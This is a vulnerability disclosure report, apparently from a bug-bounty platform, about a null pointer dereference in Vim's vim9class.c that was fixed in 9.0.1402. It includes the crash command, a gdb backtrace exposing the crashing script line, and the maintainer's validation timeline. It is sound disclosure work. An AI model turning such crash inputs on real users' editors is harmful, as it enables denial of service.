null pointer dereference in class_object_index at vim9class.c:1356 in vim/vim


Reported on

Mar 3rd 2023


null pointer dereference in class_object_index at vim9class.c:1356
variable cl in class_object_index at vim9class.c:1254 is NULL
at last, reference to cl refers to NULL


$ git log
commit c727b19e9f1df36e44321d933334c7b4961daa54 (HEAD -> master, tag: v9.0.1374, origin/master, origin/HEAD)
Author: Yegappan Lakshmanan <>
Date:   Fri Mar 3 12:26:15 2023 +0000

    patch 9.0.1374: function for setting options not used consistently
    Problem:    Function for setting options not used consistently.
    Solution:   Use a function for 'encoding' and terminal options. (Yegappan
                Lakshmanan, closes #12099)

Proof of Concept

$ ./vim -u NONE -i NONE -n -m -X -Z -e -s -S poc -c :qa!
Segmentation fault (core dumped)


gdb-peda$ r -u NONE -i NONE -n -m -X -Z -e -s -S poc -c :qa!
Starting program: /home/user/recentvim/vim/src/vim -u NONE -i NONE -n -m -X -Z -e -s -S poc -c :qa!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/".

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

RAX: 0x0 
RBX: 0x0 
RCX: 0x2 
RDX: 0x55555569ba29 (<utfc_ptr2len>:    endbr64)
RSI: 0x0 
RDI: 0x555555969673 --> 0x210000000061 ('a')
RBP: 0x7fffffffbc80 --> 0x7fffffffbd20 --> 0x7fffffffbda0 --> 0x7fffffffbe20 --> 0x7fffffffbeb0 --> 0x7fffffffbff0 (--> ...)
RSP: 0x7fffffffb9f0 --> 0x100000000 
RIP: 0x5555558074d1 (<class_object_index+1845>: mov    eax,DWORD PTR [rax+0x40])
R8 : 0x1 
R9 : 0x55555596c710 ("E1004: White space required before and after '=' at \"\t=null_class.a\"")
R10: 0x55555596ccc0 --> 0x570 
R11: 0xa ('\n')
R12: 0x7fffffffddf8 --> 0x7fffffffe1fe ("/home/user/recentvim/vim/src/vim")
R13: 0x55555588a9b7 (<main>:    endbr64)
R14: 0x555555906038 --> 0x55555558cac0 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
   0x5555558074c1 <class_object_index+1829>:    jmp    0x55555580750d <class_object_index+1905>
   0x5555558074c3 <class_object_index+1831>:    add    DWORD PTR [rbp-0x254],0x1
   0x5555558074ca <class_object_index+1838>:    mov    rax,QWORD PTR [rbp-0x238]
=> 0x5555558074d1 <class_object_index+1845>:    mov    eax,DWORD PTR [rax+0x40]
   0x5555558074d4 <class_object_index+1848>:    cmp    DWORD PTR [rbp-0x254],eax
   0x5555558074da <class_object_index+1854>:    jl     0x5555558073be <class_object_index+1570>
   0x5555558074e0 <class_object_index+1860>:    mov    rax,QWORD PTR [rbp-0x238]
   0x5555558074e7 <class_object_index+1867>:    mov    rax,QWORD PTR [rax]
0000| 0x7fffffffb9f0 --> 0x100000000 
0008| 0x7fffffffb9f8 --> 0x7fffffffc510 --> 0x1 
0016| 0x7fffffffba00 --> 0x7fffffffc500 --> 0x10 
0024| 0x7fffffffba08 --> 0x7fffffffc440 --> 0x555555969673 --> 0x210000000061 ('a')
0032| 0x7fffffffba10 --> 0x0 
0040| 0x7fffffffba18 --> 0x0 
0048| 0x7fffffffba20 --> 0x0 
0056| 0x7fffffffba28 --> 0x0 
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555558074d1 in class_object_index (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510, verbose=0x1) at vim9class.c:1356
1356        for (int i = 0; i < cl->class_class_member_count; ++i)
gdb-peda$ bt
#0  0x00005555558074d1 in class_object_index (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510, verbose=0x1) at vim9class.c:1356
#1  0x00005555555f3045 in handle_subscript (arg=0x7fffffffc440, name_start=0x0, rettv=0x7fffffffc500, evalarg=0x7fffffffc510, verbose=0x1) at eval.c:6934
#2  0x00005555555ee0f3 in eval9 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510, want_string=0x0) at eval.c:4310
#3  0x00005555555ed2bb in eval8 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510, want_string=0x0) at eval.c:3840
#4  0x00005555555ecd0b in eval7 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510, want_string=0x0) at eval.c:3644
#5  0x00005555555ec452 in eval6 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510) at eval.c:3423
#6  0x00005555555ec114 in eval5 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510) at eval.c:3312
#7  0x00005555555ebbe8 in eval4 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510) at eval.c:3163
#8  0x00005555555eb6f7 in eval3 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510) at eval.c:3024
#9  0x00005555555eb21f in eval2 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510) at eval.c:2898
#10 0x00005555555eaad2 in eval1 (arg=0x7fffffffc440, rettv=0x7fffffffc500, evalarg=0x7fffffffc510) at eval.c:2744
#11 0x00005555555ea85a in eval0_retarg (arg=0x555555969668 "null_class.a", rettv=0x7fffffffc500, eap=0x7fffffffc6a0, evalarg=0x7fffffffc510, retarg=0x0) at eval.c:2655
#12 0x00005555555ea69b in eval0 (arg=0x555555969668 "null_class.a", rettv=0x7fffffffc500, eap=0x7fffffffc6a0, evalarg=0x7fffffffc510) at eval.c:2589
#13 0x0000555555608779 in ex_let (eap=0x7fffffffc6a0) at evalvars.c:1149
#14 0x0000555555607eb8 in ex_var (eap=0x7fffffffc6a0) at evalvars.c:960
#15 0x000055555562314c in do_one_cmd (cmdlinep=0x7fffffffc8d0, flags=0x7, cstack=0x7fffffffc9b0, fgetline=0x55555575fe37 <getsourceline>, cookie=0x7fffffffd120) at ex_docmd.c:2580
#16 0x000055555562009e in do_cmdline (cmdline=0x55555596c350 "vim9@_\t=null_class.a", fgetline=0x55555575fe37 <getsourceline>, cookie=0x7fffffffd120, flags=0x7) at ex_docmd.c:993
#17 0x000055555575eca8 in do_source_ext (fname=0x555555968893 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0, eap=0x0, clearvars=0x0) at scriptfile.c:1759
#18 0x000055555575f3a3 in do_source (fname=0x555555968893 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0) at scriptfile.c:1905
#19 0x000055555575de5f in cmd_source (fname=0x555555968893 "poc", eap=0x7fffffffd2d0) at scriptfile.c:1250
#20 0x000055555575dea6 in ex_source (eap=0x7fffffffd2d0) at scriptfile.c:1276
#21 0x000055555562314c in do_one_cmd (cmdlinep=0x7fffffffd500, flags=0xb, cstack=0x7fffffffd5e0, fgetline=0x0, cookie=0x0) at ex_docmd.c:2580
#22 0x000055555562009e in do_cmdline (cmdline=0x555555968850 "so poc", fgetline=0x0, cookie=0x0, flags=0xb) at ex_docmd.c:993
#23 0x000055555561f535 in do_cmdline_cmd (cmd=0x555555968850 "so poc") at ex_docmd.c:587
#24 0x000055555588e6da in exe_commands (parmp=0x555555953800 <params>) at main.c:3146
#25 0x000055555588b50f in vim_main2 () at main.c:782
#26 0x000055555588ae7c in main (argc=0xf, argv=0x7fffffffddf8) at main.c:433
#27 0x00007ffff7c29d90 in __libc_start_call_main (main=main@entry=0x55555588a9b7 <main>, argc=argc@entry=0xf, argv=argv@entry=0x7fffffffddf8) at ../sysdeps/nptl/libc_start_call_main.h:58
#28 0x00007ffff7c29e40 in __libc_start_main_impl (main=0x55555588a9b7 <main>, argc=0xf, argv=0x7fffffffddf8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, 
    stack_end=0x7fffffffdde8) at ../csu/libc-start.c:392
#29 0x000055555558ca45 in _start ()
gdb-peda$ p cl
$1 = (class_T *) 0x0
gdb-peda$ p *(typval_T *) rettv
$2 = {
  v_type = VAR_CLASS,
  v_lock = 0x0,
  vval = {
    v_number = 0x0,
    v_float = 0,
    v_string = 0x0,
    v_list = 0x0,
    v_dict = 0x0,
    v_partial = 0x0,
    v_job = 0x0,
    v_channel = 0x0,
    v_blob = 0x0,
    v_instr = 0x0,
    v_class = 0x0,
    v_object = 0x0



it can lead to DoS, possibly code execution

We are processing your report and will contact the vim team within 24 hours. 19 days ago
We have contacted a member of the vim team and are waiting to hear back 18 days ago
Bram Moolenaar validated this vulnerability 11 days ago

I can reproduce the problem, the POC is short, I can use it for a regression test.

thkim0 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Bram Moolenaar marked this as fixed in 9.0.1402 with commit d13dd3 11 days ago
Bram Moolenaar has been awarded the fix bounty
This vulnerability has been assigned a CVE
Bram Moolenaar published this vulnerability 11 days ago
to join this conversation